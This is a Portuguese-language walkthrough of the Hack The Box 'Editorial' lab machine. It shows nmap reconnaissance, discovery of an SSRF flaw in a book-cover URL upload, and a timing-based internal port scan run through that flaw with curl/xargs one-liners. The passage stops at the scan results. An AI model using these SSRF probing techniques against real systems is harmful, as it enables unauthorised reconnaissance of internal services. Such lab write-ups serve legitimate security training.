# Editorial

<details>

<summary>Guia com dicas que podem te auxiliar na resolução do CTF antes de ler o write-up.</summary>

1. Escaneie portas do alvo para identificar serviços.
2. Analise a funcionalidade de upload de arquivos com um web proxy.
3. Teste URLs a serem aceitas pela aplicação, internas ou externas.
4. Preste atenção ao tempo de resposta e ao conteúdo retornado em requisições diferentes.
5. Descubra alguma porta aberta do lado do servidor.
6. Analise arquivos e endpoints da API em busca de informações sensíveis.
7. Acesse o alvo com a credencial obtida.
8. Revise repositórios de código em busca de segredos expostos.
9. Migre para outro usuário e observe suas permissões privilegiadas.
10. Identifique qual biblioteca do script está desatualizada.
11. Pesquise por CVEs relacionados à biblioteca identificada.
12. Utilize a vulnerabilidade encontrada para escalar privilégios no sistema.

</details>

<figure><img src="https://2078903645-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FW98xJQuX2kc5QKEyMN0C%2Fuploads%2Fm4PHaHXVDlmxQMSoKJhy%2FEditorial.png?alt=media" alt="" width="563"><figcaption><p><a href="https://app.hackthebox.com/machines/Editorial">https://hackthebox.com/machines/Editorial</a></p></figcaption></figure>

## **Reconhecimento de Rede** <a href="#reconhecimento-de-rede" id="reconhecimento-de-rede"></a>

### Verificando a conectividade via Ping <a href="#verificando-a-conectividade-via-ping" id="verificando-a-conectividade-via-ping"></a>

A primeira ação para reconhecimento do alvo é testar a conectividade com ele, utilizando o comando `ping`. Ao enviar um pacote ICMP, podemos confirmar se a máquina alvo está acessível na rede.

No retorno, o TTL de 63 é uma indicação de que possivelmente estamos lidando com um sistema Linux. O TTL inicial para sistemas Linux costuma ser 64, e o valor observado no ping geralmente é reduzido conforme os pacotes atravessam roteadores na rede. Como o TTL está próximo de 64, é provável que o sistema alvo seja uma máquina Linux.

```sh
┌──(root㉿attacker)-[/home/kali/CTF]
└─# ping -c 1 10.10.11.20
PING 10.10.11.20 (10.10.11.20) 56(84) bytes of data.
64 bytes from 10.10.11.20: icmp_seq=1 ttl=63 time=46.7 ms

--- 10.10.11.20 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 46.707/46.707/46.707/0.000 ms
```

### **Varredura de Portas e Serviços**

Em seguida, executei um escaneamento de porta no alvo para identificar quaisquer portas abertas que pudessem ser usadas para novos ataques. Usei a ferramenta `nmap` para verificar todas as portas (1-65535) do alvo e garantir que nenhum serviço passasse despercebido. Além disso, habilitamos a detecção de versões de serviços e scripts para ter mais informações detalhadas.

```sh
┌──(root㉿attacker)-[/home/kali/CTF]
└─# nmap 10.10.11.20 -sSCV -p- --min-rate=5000 -vv -n -Pn -oN tcp-scan.txt -oX tcp-scan.xml
PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 0d:ed:b2:9c:e2:53:fb:d4:c8:c1:19:6e:75:80:d8:64 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBMApl7gtas1JLYVJ1BwP3Kpc6oXk6sp2JyCHM37ULGN+DRZ4kw2BBqO/yozkui+j1Yma1wnYsxv0oVYhjGeJavM=
|   256 0f:b9:a7:51:0e:00:d5:7b:5b:7c:5f:bf:2b:ed:53:a0 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMXtxiT4ZZTGZX4222Zer7f/kAWwdCWM/rGzRrGVZhYx
80/tcp open  http    syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://editorial.htb
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

* `-sSCV`: Realiza a descoberta de portas com SYN Scan, e em seguida escaneia as portas abertas, detectando versões de serviços e usando scripts do nmap.
* `-p-`: Escaneia todas as portas possíveis (1-65535).
* `--min-rate=5000`: Define uma taxa mínima de pacotes para acelerar a varredura.
* `-vv`: Mostra mais detalhes durante o processo de varredura.
* `-n`: Desabilita a resolução de DNS para acelerar o processo.
* `-Pn`: Não realiza o ping, útil em casos de firewalls ou filtros ICMP.
* `-oN` e `-oX`: Salvam os resultados em arquivos de texto e XML, respectivamente, para posterior análise.

A saída da varredura identificou duas portas abertas:

* **22/tcp**: OpenSSH 8.9p1, usado para conexões SSH.
* **80/tcp**: nginx 1.18.0, serviço HTTP.

## Exploração HTTP

Ao investigar a porta **80**, notamos que o site responde com o domínio **editorial.htb**. Esse domínio não é automaticamente resolvido pelo sistema, então é necessário adicionar manualmente o mapeamento no arquivo **/etc/hosts** para permitir que possamos acessá-lo corretamente.

```sh
┌──(root㉿attacker)-[/home/kali/CTF]
└─# tail -n1 /etc/hosts
10.10.11.20	editorial.htb
```

Após isso, podemos testar a comunicação com o domínio:

```sh
┌──(root㉿attacker)-[/home/kali/CTF]
└─# ping -c 1 editorial.htb
PING editorial.htb (10.10.11.20) 56(84) bytes of data.
64 bytes from editorial.htb (10.10.11.20): icmp_seq=1 ttl=63 time=39.3 ms

--- editorial.htb ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 39.347/39.347/39.347/0.000 ms
```

Agora, estamos prontos para interagir com o site.

O próximo passo é entender mais sobre o site rodando no servidor web. Utilizamos a ferramenta `httpx` para extrair informações sobre o servidor HTTP, como o status do servidor, tipos de conteúdo, e tecnologias utilizadas.

```sh
┌──(root㉿attacker)-[/home/kali/CTF]
└─# /root/go/bin/httpx -u http://editorial.htb -silent -sc -cl -ct -rt -title -td -server -location
http://editorial.htb [200] [] [8577] [text/html] [Editorial Tiempo Arriba] [nginx/1.18.0 (Ubuntu)] [90.925003ms] [Bootstrap,Nginx:1.18.0,Ubuntu]
```

A saída mostra:

* Status **200**, o que indica que a página está acessível.
* O título da página é **Editorial Tiempo Arriba**.
* O servidor está rodando **nginx 1.18.0** no **Ubuntu**.

Acessando o site no navegador, a página inicial sugere que é o site de uma **loja editorial de livros**. Nesse momento, temos uma visão geral da funcionalidade básica do site.

![image.png](https://2078903645-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FW98xJQuX2kc5QKEyMN0C%2Fuploads%2F11jKB1er6qL2jXrk9EVW%2Fimage.png?alt=media)

Para garantir que não estamos perdendo páginas ocultas ou recursos não documentados, usamos a ferramenta **gospider** para varrer o site em busca de links, formulários e outras possíveis páginas de interesse.

```sh
┌──(root㉿attacker)-[/home/kali/CTF]
└─# gospider -s http://editorial.htb/ -d 3
[url] - [code-200] - http://editorial.htb/
[url] - [code-200] - http://editorial.htb/about
[url] - [code-200] - http://editorial.htb/upload
[form] - http://editorial.htb/upload
[upload-form] - http://editorial.htb/upload
```

A enumeração revelou alguns recursos importantes:

* `/upload`: Uma página de envio de arquivos, que pode ser explorada para uploads maliciosos.
* `/about`: Uma página com informações sobre o site, incluindo um e-mail de contato (<submissions@tiempoarriba.htb>).
* Detalhes de livros e autores, que podem ser úteis para a criação de dicionários de ataque se necessário.

Esses recursos são essenciais para planejar a próxima etapa da exploração, especialmente o ponto de upload de arquivos, que pode permitir uma superfície de ataque caso nós como usuários tivermos controle sob o que pode ser enviado.

### **Exploração do Upload de Arquivos**

Geralmente, funcionalidades de upload podem ser exploradas para comprometer um servidor, dependendo de como o upload é tratado e quais restrições existem para o tipo de arquivos aceitos. Decidi explorar essa funcionalidade para entender se haveria uma maneira de usá-la como vetor de ataque.

**Primeiro Teste: Upload e Imagem**

Para começar, eu realizei um teste básico com um arquivo de imagem legítimo, verificando como o sistema processa uploads normais. Baixei uma imagem qualquer para isso:

```sh
┌──(root㉿attacker)-[/home/kali/CTF]
└─# wget https://cdn.smartfacts.ru/385117/mister-robot_3.jpg
mister-robot_3.jpg           100%[============================================>]  72.44K  --.-KB/s    in 0.09s   
```

A partir deste ponto, abri o **Burp Suite** para monitorar e capturar todas as requisições relacionadas ao upload, a fim de observar o comportamento da aplicação.

<figure><img src="https://2078903645-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FW98xJQuX2kc5QKEyMN0C%2Fuploads%2Fv5tlHre9bh5gcqAXmjB0%2Fimage.png?alt=media&#x26;token=d9c2002f-f13a-4297-8618-9a2066acfeb6" alt=""><figcaption></figcaption></figure>

#### **Comportamento da Aplicação**

A página de upload permite ao usuário fazer o upload de uma imagem diretamente de seu sistema ou fornecer uma URL para que o servidor faça o download da imagem. Aqui, temos dois possíveis caminhos para manipulação:

* **Upload de arquivo local:** Enviar um arquivo malicioso a partir do meu sistema.
* **Upload via URL:** Enviar uma URL que aponte para um servidor controlado por mim, permitindo monitorar as interações.

Decidi começar com o segundo caminho, fornecendo uma URL controlada para verificar se a aplicação buscaria a imagem diretamente do meu servidor. Para isso, iniciei um servidor HTTP simples na minha máquina de ataque, usando **Netcat**:

```sh
┌──(root㉿attacker)-[/home/kali/CTF]
└─# nc -nlvp 80                                                                            
listening on [any] 80 ...
```

Ao fornecer a URL do meu servidor na página de upload e clicar em "Preview", observei que a aplicação realmente faz uma requisição para baixar a imagem diretamente do meu servidor.

<figure><img src="https://2078903645-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FW98xJQuX2kc5QKEyMN0C%2Fuploads%2F8MMJwAoy2I0lXcyvhGGb%2Fimage.png?alt=media&#x26;token=d6d18412-e4e2-4378-94d1-4ea45f739ab5" alt=""><figcaption></figcaption></figure>

Aqui está o tráfego capturado com **Netcat**:

```sh
┌──(root㉿attacker)-[/home/kali/CTF]
└─# nc -nlvp 80                                                                            
listening on [any] 80 ...
connect to [10.10.14.4] from (UNKNOWN) [10.10.11.20] 57824
GET /mister-robot_3.jpg HTTP/1.1
Host: 10.10.14.4
User-Agent: python-requests/2.25.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
```

Aqui podemos observar que o alvo fez um **GET request** para minha máquina, confirmando que o servidor está buscando arquivos de URLs externas.

#### **Entendendo a Requisição**

No **Burp Suite**, pude analisar mais detalhadamente o comportamento da aplicação. A requisição ao servidor é enviada para o endpoint `/upload-cover`, como mostrado abaixo:

```http
POST /upload-cover HTTP/1.1
Host: editorial.htb
Content-Length: 322
Accept-Language: en-US,en;q=0.9
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.6668.71 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryiOx64j3IqqiG0GGa
Accept: */*
Origin: http://editorial.htb
Referer: http://editorial.htb/upload
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

------WebKitFormBoundaryiOx64j3IqqiG0GGa
Content-Disposition: form-data; name="bookurl"

http://10.10.14.4/mister-robot_3.jpg
------WebKitFormBoundaryiOx64j3IqqiG0GGa
Content-Disposition: form-data; name="bookfile"; filename=""
Content-Type: application/octet-stream

------WebKitFormBoundaryiOx64j3IqqiG0GGa--

```

<figure><img src="https://2078903645-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FW98xJQuX2kc5QKEyMN0C%2Fuploads%2FkwkZJTwln46uY4KWS4kt%2Fimage.png?alt=media&#x26;token=a101242c-760b-484f-a40c-3e4295be0524" alt=""><figcaption></figcaption></figure>

A imagem foi carregada no servidor, e a resposta indica que o arquivo foi armazenado em um caminho específico. O servidor retorna um identificador gerado aleatoriamente, o qual pode ser acessado no seguinte diretório:

```http
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Content-Type: text/html; charset=utf-8
Connection: keep-alive
Content-Length: 51

static/uploads/b58eacb7-8ce2-4f35-ae82-eb6b66fb3e8b
```

Agora, podemos acessar a imagem através da URL `http://editorial.htb/static/uploads/b58eacb7-8ce2-4f35-ae82-eb6b66fb3e8b`.

<figure><img src="https://2078903645-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FW98xJQuX2kc5QKEyMN0C%2Fuploads%2FTuN54mhXZBvl3iPc5YdF%2Fimage.png?alt=media&#x26;token=4f7997b5-7618-407b-8173-dbf995237fc5" alt=""><figcaption></figcaption></figure>

Além disso, analisando a resposta da uma página "Not Found" que é rotornada, percebi que a aplicação parece ser baseada no framework **Flask**. Isso pode ser útil em futuras explorações, uma vez que o Flask tem comportamentos previsíveis e vulnerabilidades bem documentadas.

A resposta é típica de Flask, o que reforça a suposição:

* <https://0xdf.gitlab.io/cheatsheets/404#flask>

<figure><img src="https://2078903645-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FW98xJQuX2kc5QKEyMN0C%2Fuploads%2F8HoTxrQrllVMyjVC7zsx%2Fimage.png?alt=media&#x26;token=9e4beaf8-2222-4be4-81a3-399da7d0e766" alt=""><figcaption></figcaption></figure>

## Explorando Vulnerabilidade SSRF

Observei que, ao alterar a URL de upload para `localhost`, a aplicação demorou consideravelmente para responder, indicando que uma tentativa de resolução da URL ocorreu. Em contraste, URLs não existentes (como "haxor") retornaram instantaneamente, sugerindo que não houve resolução. Isso sugere que a aplicação pode estar vulnerável a SSRF.

O teste com localhost foi realizado da seguinte forma:

```http
POST /upload-cover HTTP/1.1
Host: editorial.htb
Content-Length: 302
Accept-Language: en-US,en;q=0.9
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.6668.71 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryiOx64j3IqqiG0GGa
Accept: */*
Origin: http://editorial.htb
Referer: http://editorial.htb/upload
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

------WebKitFormBoundaryiOx64j3IqqiG0GGa
Content-Disposition: form-data; name="bookurl"

http://localhost
------WebKitFormBoundaryiOx64j3IqqiG0GGa
Content-Disposition: form-data; name="bookfile"; filename=""
Content-Type: application/octet-stream

------WebKitFormBoundaryiOx64j3IqqiG0GGa--

```

O status da resposta foi `200 OK`, e a aplicação demorou cerca de 20 segundos para responder. Isso indica que a aplicação tentou resolver a URL e possivelmente se conectou ao serviço em `localhost`.

```http
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Content-Type: text/html; charset=utf-8
Connection: keep-alive
Content-Length: 61

/static/images/unsplash_photo_1630734277837_ebe62757b6e0.jpeg
```

<figure><img src="https://2078903645-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FW98xJQuX2kc5QKEyMN0C%2Fuploads%2FWeevzUBZMOzcWRrOKUZy%2Fimage.png?alt=media&#x26;token=744988a2-042b-421f-9cb1-b4501d1f5a70" alt=""><figcaption></figcaption></figure>

Já, ao colocar URLs não existentes como "<http://haxor>", a resposta continua a ser um 200 OK, porém não houve demora na resposta.

<figure><img src="https://2078903645-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FW98xJQuX2kc5QKEyMN0C%2Fuploads%2FotoKIFEx6BZV1KMYLik6%2Fimage.png?alt=media&#x26;token=da19c4b1-5243-49da-9699-9200616c62a4" alt=""><figcaption></figcaption></figure>

**Teste com Portas**

Similarmente, ao testar portas:

* **Porta 80**:

  * **Requisição**: `http://localhost:80`
  * **Demora**: \~20 segundos

  <figure><img src="https://2078903645-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FW98xJQuX2kc5QKEyMN0C%2Fuploads%2Fl7EQBcP87CsUV0okIqkY%2Fimage.png?alt=media&#x26;token=3b302752-dfb5-48cf-a8ea-6f27d9f13297" alt=""><figcaption></figcaption></figure>
* **Porta 1**:

  * **Requisição**: `http://localhost:1`
  * **Demora**: \~48 milissegundos (resposta rápida)

  <figure><img src="https://2078903645-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FW98xJQuX2kc5QKEyMN0C%2Fuploads%2F8nXrxO6y6U88pChq5xAM%2Fimage.png?alt=media&#x26;token=5cbd9db9-d531-4831-ad54-b175cb8f90bf" alt=""><figcaption></figcaption></figure>

Isso reforça a hipótese de que a aplicação está vulnerável a SSRF, já que a demora sugere uma conexão tentada.

### Enumeração de Portas via SSRF

Agora, podemos explorar a possibilidade de um *port discovery* via SSRF. O objetivo é verificar quais portas estão abertas, utilizando o tempo e o conteúdo da resposta como indicativo.

O comando `curl` será utilizado com a opção `-w` para medir o tempo de resposta:

```sh
┌──(root㉿attacker)-[/home/kali/CTF]
└─# curl -s https://google.com -o /dev/null -w "%{time_total}s"
0.188370s
```

* `-o /dev/null`: descarta o conteúdo da resposta, para que ele não apareça no terminal.
* `-s`: modo silencioso, para suprimir as mensagens de progresso.
* `-w`: personaliza a saída, mostrando o tempo total da requisição usando o `time_total`.

Utilizaremos o `xargs` para fazer uma requisição em paralelo a múltiplas portas e registrar o tempo de resposta. A ideia é criar um oneliner que faça requisições em massa.

```sh
┌──(root㉿attacker)-[/home/kali/CTF]
└─# seq 1 3 | xargs -P100 -I@ curl -s https:/localhost:@ -o /dev/null -w '[+] PORT @\tLENGTH: %{size_download}\tTIME: %{time_total}s\n'
[+] PORT 2    LENGTH: 0    TIME: 0.000550s
[+] PORT 1    LENGTH: 0    TIME: 0.000211s
[+] PORT 3    LENGTH: 0    TIME: 0.000167s
```

* **`P100`**: Realiza até 100 requisições em paralelo.
* **`I@`**: Substitui `@` pelo número da porta na URL.

Os resultados devem ser armazenados em um arquivo ou visualizados no terminal, permitindo que você identifique rapidamente quais portas apresentaram uma resposta lenta. As portas que demoram mais para responder são as que potencialmente estão abertas no serviço alvo.

O primeiro passo foi copiar uma requisição HTTP do `burp` para ser utilizada com `curl` (selecionar “Copy as curl command (bash)”). A ideia é adaptar o comando para incluir o tempo da requisição, o que facilita a análise das portas.

Usamos a flag `-w` para exibir o tempo total de resposta (`%{time_total}`), e capturamos o comprimento da resposta (`%{size_download}`), o que nos permite observar diferenças de comportamento nas respostas.

* **Porta 1**: a requisição foi rápida (0.094s) e retornou uma resposta com tamanho pequeno, indicando que não há nada significativo rodando nessa porta além da imagem padrão da aplicação:

  ```sh
  ┌──(root㉿attacker)-[/home/kali/CTF]
  └─# curl --path-as-is -s -k -X $'POST' \
      -H $'Host: editorial.htb' -H $'Content-Length: 305' -H $'Accept-Language: en-US,en;q=0.9' -H $'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.6668.71 Safari/537.36' -H $'Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryiOx64j3IqqiG0GGa' -H $'Accept: */*' -H $'Origin: http://editorial.htb' -H $'Referer: http://editorial.htb/upload' -H $'Accept-Encoding: gzip, deflate, br' -H $'Connection: keep-alive' \
      --data-binary $'------WebKitFormBoundaryiOx64j3IqqiG0GGa\x0d\x0aContent-Disposition: form-data; name=\"bookurl\"\x0d\x0a\x0d\x0ahttp://localhost:1\x0d\x0a------WebKitFormBoundaryiOx64j3IqqiG0GGa\x0d\x0aContent-Disposition: form-data; name=\"bookfile\"; filename=\"\"\x0d\x0aContent-Type: application/octet-stream\x0d\x0a\x0d\x0a\x0d\x0a------WebKitFormBoundaryiOx64j3IqqiG0GGa--\x0d\x0a' \
      $'http://editorial.htb/upload-cover' -o /dev/null -w '[+] PORT @\tLENGTH: %{size_download}\tTIME: %{time_total}s\n'
  [+] PORT @    LENGTH: 78    TIME: 0.094823s
  ```
* **Porta 80**: como já haviamos visto com `burp`, a requisição demorou consideravelmente mais (\~20 segundos), sugerindo que algo significativo pode estar rodando nessa porta. Este comportamento diferente é um indicativo para focarmos mais nela:

  ```sh
  ┌──(root㉿attacker)-[/home/kali/CTF]
  └─# curl --path-as-is -s -k -X $'POST' \
      -H $'Host: editorial.htb' -H $'Content-Length: 305' -H $'Accept-Language: en-US,en;q=0.9' -H $'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.6668.71 Safari/537.36' -H $'Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryiOx64j3IqqiG0GGa' -H $'Accept: */*' -H $'Origin: http://editorial.htb' -H $'Referer: http://editorial.htb/upload' -H $'Accept-Encoding: gzip, deflate, br' -H $'Connection: keep-alive' \
      --data-binary $'------WebKitFormBoundaryiOx64j3IqqiG0GGa\x0d\x0aContent-Disposition: form-data; name=\"bookurl\"\x0d\x0a\x0d\x0ahttp://localhost:80\x0d\x0a------WebKitFormBoundaryiOx64j3IqqiG0GGa\x0d\x0aContent-Disposition: form-data; name=\"bookfile\"; filename=\"\"\x0d\x0aContent-Type: application/octet-stream\x0d\x0a\x0d\x0a\x0d\x0a------WebKitFormBoundaryiOx64j3IqqiG0GGa--\x0d\x0a' \
      $'http://editorial.htb/upload-cover' -o /dev/null -w '[+] PORT @\tLENGTH: %{size_download}\tTIME: %{time_total}s\n'
  [+] PORT @    LENGTH: 78    TIME: 20.112699s
  ```

Para agilizar o processo, paralelizamos a execução dos comandos usando o **`xargs`** para testar várias portas simultaneamente. Aqui, testamos as portas 79, 80 e 81. Como esperado, a porta 80 teve um tempo de resposta muito maior (\~20s) em relação às outras, demonstrando que nosso oneliner funciona como esperávamos, trazendo a porta escaneada, o tamanho de resposta, e quanto tempo tardou em responder:

```sh
┌──(root㉿attacker)-[/home/kali/CTF]
└─# seq 79 81 | xargs -P100 -I@ curl --path-as-is -s -k -X $'POST' \
    -H $'Host: editorial.htb' -H $'Content-Length: 305' -H $'Accept-Language: en-US,en;q=0.9' -H $'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.6668.71 Safari/537.36' -H $'Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryiOx64j3IqqiG0GGa' -H $'Accept: */*' -H $'Origin: http://editorial.htb' -H $'Referer: http://editorial.htb/upload' -H $'Accept-Encoding: gzip, deflate, br' -H $'Connection: keep-alive' \
    --data-binary $'------WebKitFormBoundaryiOx64j3IqqiG0GGa\x0d\x0aContent-Disposition: form-data; name=\"bookurl\"\x0d\x0a\x0d\x0ahttp://localhost:@\x0d\x0a------WebKitFormBoundaryiOx64j3IqqiG0GGa\x0d\x0aContent-Disposition: form-data; name=\"bookfile\"; filename=\"\"\x0d\x0aContent-Type: application/octet-stream\x0d\x0a\x0d\x0a\x0d\x0a------WebKitFormBoundaryiOx64j3IqqiG0GGa--\x0d\x0a' \
    $'http://editorial.htb/upload-cover' -o /dev/null -w '[+] PORT @\tLENGTH: %{size_download}\tTIME: %{time_total}s\n'
[+] PORT 79    LENGTH: 78    TIME: 0.090751s
[+] PORT 81    LENGTH: 78    TIME: 0.097482s
[+] PORT 80    LENGTH: 78    TIME: 20.351690s
```

#### **Limitando a busca a portas específicas**

Embora seja possível tentar escanear todas as 65.535 portas disponíveis, isso seria ineficiente e poderia sobrecarregar o servidor alvo. Como alternativa, optamos por limitar a busca às **top 100 portas mais comuns** que o Nmap escanearia em uma análise padrão de portas TCP.

A ideia aqui é que temos um total de 65.535 portas, mas realizar uma varredura em todas elas não é viável para esse contexto. Isso não apenas poderia resultar em um grande número de requisições e, consequentemente, sobrecarregar o servidor alvo, como também aumentaria o risco de um bloqueio devido ao volume de acessos. Além disso, isso poderia consumir tempo desnecessário, sem garantir que resultados relevantes sejam encontrados rapidamente.

Portanto, precisamos ser estratégicos na escolha das portas a serem escaneadas. Existem várias maneiras de limitar essa busca:

* Escanear as portas mais frequentemente utilizadas por serviços específicos (como portas para serviços web: 80, 443, 8080, 8443, entre outras).
* Buscar apenas portas associadas a determinados serviços, como aquelas mais comuns em servidores Ubuntu ou em aplicações Python/Flask, tecnologias que identificamos no alvo.
* Usar uma lista pré-definida das portas mais escaneadas por ferramentas como o Nmap.

Nesse caso, decidi optar pelas **top 100 portas TCP** que o Nmap usa por padrão em um de seus modos de escaneamento. Essa abordagem permite focar em portas que são amplamente conhecidas por hospedar serviços comuns, maximizando as chances de sucesso sem sobrecarregar o alvo.

**Gerando uma lista das top 100 portas**

Para gerar essa lista, eu utilizei o Nmap para escanear as **top 100 portas** no localhost da minha máquina e salvei o resultado em um arquivo, para facilitar o processamento e reutilização posterior.

```sh
┌──(root㉿attacker)-[/home/kali/CTF]
└─# nmap localhost --top-ports 100 -v -oG top100.ports
```

O arquivo de saída, `top100.ports`, contém as portas escaneadas:

```sh
┌──(root㉿attacker)-[/home/kali/CTF]
└─# cat top100.ports                                      
# Nmap 7.94SVN scan initiated Sun Oct 20 12:44:19 2024 as: /usr/lib/nmap/nmap --top-ports 100 -v -oG top100.ports localhost
# Ports scanned: TCP(100;7,9,13,21-23,25-26,37,53,79-81,88,106,110-111,113,119,135,139,143-144,179,199,389,427,443-445,465,513-515,543-544,548,554,587,631,646,873,990,993,995,1025-1029,1110,1433,1720,1723,1755,1900,2000-2001,2049,2121,2717,3000,3128,3306,3389,3986,4899,5000,5009,5051,5060,5101,5190,5357,5432,5631,5666,5800,5900,6000-6001,6646,7070,8000,8008-8009,8080-8081,8443,8888,9100,9999-10000,32768,49152-49157) UDP(0;) SCTP(0;) PROTOCOLS(0;)
Host: 127.0.0.1 (localhost)	Status: Up
Host: 127.0.0.1 (localhost)	Ports: 8080/open/tcp//http-proxy///	Ignored State: closed (99)
# Nmap done at Sun Oct 20 12:44:19 2024 -- 1 IP address (1 host up) scanned in 0.11 seconds
```

Com isso, o próximo passo foi **extrair as portas em formato utilizável**. Algumas delas estavam em intervalos (ex: `21-23`), então precisei expandir esses intervalos.

Para extrair os intervalos e convertê-los em uma lista de portas individuais, usei um comando para buscar os intervalos presentes no arquivo e expandi-los com a ajuda de `seq`. Esse comando gera as portas em sequência e as salva no arquivo `ports.txt`:

```sh
┌──(root㉿attacker)-[/home/kali/CTF]
└─# cat top100.ports | grep -oP "TCP\(.*?\)" | grep -oP "\d{1,5}-\d{1,5}"
21-23
25-26
79-81
110-111
143-144
443-445
513-515
543-544
1025-1029
2000-2001
6000-6001
8008-8009
8080-8081
9999-10000
49152-49157
```

Após executar o comando, o conteúdo do arquivo `ports.txt` ficou assim:

```sh
┌──(root㉿attacker)-[/home/kali/CTF]
└─# cat top100.ports | grep -oP "TCP\(.*?\)" | grep -oP "\d{1,5}-\d{1,5}" | xargs -I@ sh -c 'seq $(echo "@" | tr "-" " ")' | tee ports.txt
21
22
23
25
26
79
80
81
110
111
143
144
443
444
445
513
514
515
543
544
1025
1026
1027
1028
1029
2000
2001
6000
6001
8008
8009
8080
8081
9999
10000
49152
49153
49154
49155
49156
49157
```

Ainda faltavam algumas portas listadas individualmente no arquivo do Nmap. Para resolver isso, utilizei um segundo comando para capturar essas portas isoladas e adicioná-las ao arquivo `ports.txt`:

```sh
┌──(root㉿attacker)-[/home/kali/CTF]
└─# cat top100.ports | grep -oP "TCP\(.*?\)" | tr ',' '\n' | grep -oP "^\d{1,5}$" | tee -a ports.txt
9
13
37
53
88
106
113
119
135
139
179
199
389
427
465
548
554
587
631
646
873
990
993
995
1110
1433
1720
1723
1755
1900
2049
2121
2717
3000
3128
3306
3389
3986
4899
5000
5009
5051
5060
5101
5190
5357
5432
5631
5666
5800
5900
6646
7070
8000
8443
8888
9100
32768
```

Agora, `ports.txt` contém as **99 portas mais comuns** que o Nmap utilizaria em um escaneamento básico:

```sh
┌──(root㉿attacker)-[/home/kali/CTF]
└─# cat ports.txt | wc -l
99
```

#### Execução do Port Scan

Finalmente executamos nosso oneliner. O objetivo é observar o tempo de resposta e o tamanho da resposta retornada. Essas informações podem indicar se a porta está aberta ou se há algo relevante rodando nessa porta.

```sh
┌──(root㉿attacker)-[/home/kali/CTF]
└─# xargs -a ports.txt -P100 -I@ curl --path-as-is -s -k -X $'POST' \
    -H $'Host: editorial.htb' -H $'Content-Length: 305' -H $'Accept-Language: en-US,en;q=0.9' -H $'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.6668.71 Safari/537.36' -H $'Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryiOx64j3IqqiG0GGa' -H $'Accept: */*' -H $'Origin: http://editorial.htb' -H $'Referer: http://editorial.htb/upload' -H $'Accept-Encoding: gzip, deflate, br' -H $'Connection: keep-alive' \
    --data-binary $'------WebKitFormBoundaryiOx64j3IqqiG0GGa\x0d\x0aContent-Disposition: form-data; name=\"bookurl\"\x0d\x0a\x0d\x0ahttp://localhost:@\x0d\x0a------WebKitFormBoundaryiOx64j3IqqiG0GGa\x0d\x0aContent-Disposition: form-data; name=\"bookfile\"; filename=\"\"\x0d\x0aContent-Type: application/octet-stream\x0d\x0a\x0d\x0a\x0d\x0a------WebKitFormBoundaryiOx64j3IqqiG0GGa--\x0d\x0a' \
    $'http://editorial.htb/upload-cover' -o /dev/null -w '[+] PORT @\tLENGTH: %{size_download}\tTIME: %{time_total}s\n' | tee -a SSRFports.txt
[+] PORT 22    LENGTH: 78    TIME: 0.125069s
[+] PORT 21    LENGTH: 78    TIME: 0.127881s
[+] PORT 26    LENGTH: 78    TIME: 0.185306s
[+] PORT 143   LENGTH: 78    TIME: 0.149119s
[+] PORT 81    LENGTH: 78    TIME: 0.163559s
[+] PORT 110   LENGTH: 78    TIME: 0.166407s
[+] PORT 79    LENGTH: 78    TIME: 0.186978s
[+] PORT 443   LENGTH: 78    TIME: 0.151489s
...<SNIP>...
[+] PORT 32768 LENGTH: 167   TIME: 0.211919s
[+] PORT 5900  LENGTH: 78    TIME: 0.253789s
[+] PORT 80    LENGTH: 78    TIME: 20.221370s
